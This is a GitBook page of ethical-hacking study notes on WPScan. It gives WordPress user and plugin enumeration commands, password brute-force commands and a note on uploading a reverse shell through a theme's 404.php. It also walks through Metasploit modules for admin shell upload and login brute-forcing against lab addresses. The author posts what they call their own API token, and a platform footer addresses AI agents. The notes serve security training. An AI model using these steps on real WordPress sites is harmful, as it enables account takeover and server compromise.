> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/practical-ethical-hacker-ceh-tools/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/practical-ethical-hacker-ceh-tools/practical-ethical-hacker-notes/tools/wpscan.md).

# WPScan

```bash
wpscan -h #List WPscan Parameters
wpscan --update #Update WPscan

#Enumerate WordPress using WPscan


wpscan --url "http://<TARGET_IP>" -e t #All Themes Installed

wpscan --url "http://<TARGET_IP>" -e vt #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e p #All Plugins Installed

wpscan --url "http://<TARGET_IP>"  -e vp #Vulnerable Themes Installed

wpscan --url "http://<TARGET_IP>"  -e u #WordPress Users

wpscan --url "http://<TARGET_IP>"  --passwords path-to-wordlist #Brute Force WordPress Passwords

#Upload Reverse Shell to WordPress
http://<IP>/wordpress/wp-content/themes/twentyfifteen/404.php

#Upload using Metasploit
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set USERNAME admin
msf exploit(wp_admin_shell_upload) > set PASSWORD admin
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit
```

<pre class="language-bash"><code class="lang-bash"><strong>#User Enumeration
</strong><strong>wpscan --url https://example/ --enumerate u
</strong>
#Bruteforce
wpscan --url https://example/ --passwords wordlist.txt --usernames samson
</code></pre>

### **Enumerate and hack a web app using wpscan and metasploit**

* wpscan — api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads — url <http://10.10.10.16:8080/CEH> — plugins-detection aggressive — enumerate u
* — enumerate u: Specify the enumeration of users
* API Token: Register at <https://wpscan.com/register>
* Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads
* service postgresql start
* msfconsole
* use auxiliary/scanner/http/wordpress\_login\_enum
* show options
* set PASS\_FILE password.txt
* set RHOST 10.10.10.16
* set RPORT 8080
* set TARGETURI <http://10.10.10.16:8080/CEH>
* set USERNAME admin
* run
* Find the credential

{% embed url="<https://www.kali.org/tools/wpscan/>" %}

### Additional Resources

{% embed url="<https://www.geeksforgeeks.org/wpscan-tool-in-kali-linux/>" %}

{% embed url="<https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html>" %}

{% embed url="<https://www.hackingtutorials.org/web-application-hacking/hack-a-wordpress-website-with-wpscan/>" %}

{% embed url="<https://linuxhint.com/wpscan_wordpress_vulnerabilities_scan/>" %}

{% embed url="<https://www.wpwhitesecurity.com/strong-wordpress-passwords-wpscan/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dev-angelist.gitbook.io/practical-ethical-hacker-ceh-tools/practical-ethical-hacker-notes/tools/wpscan.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
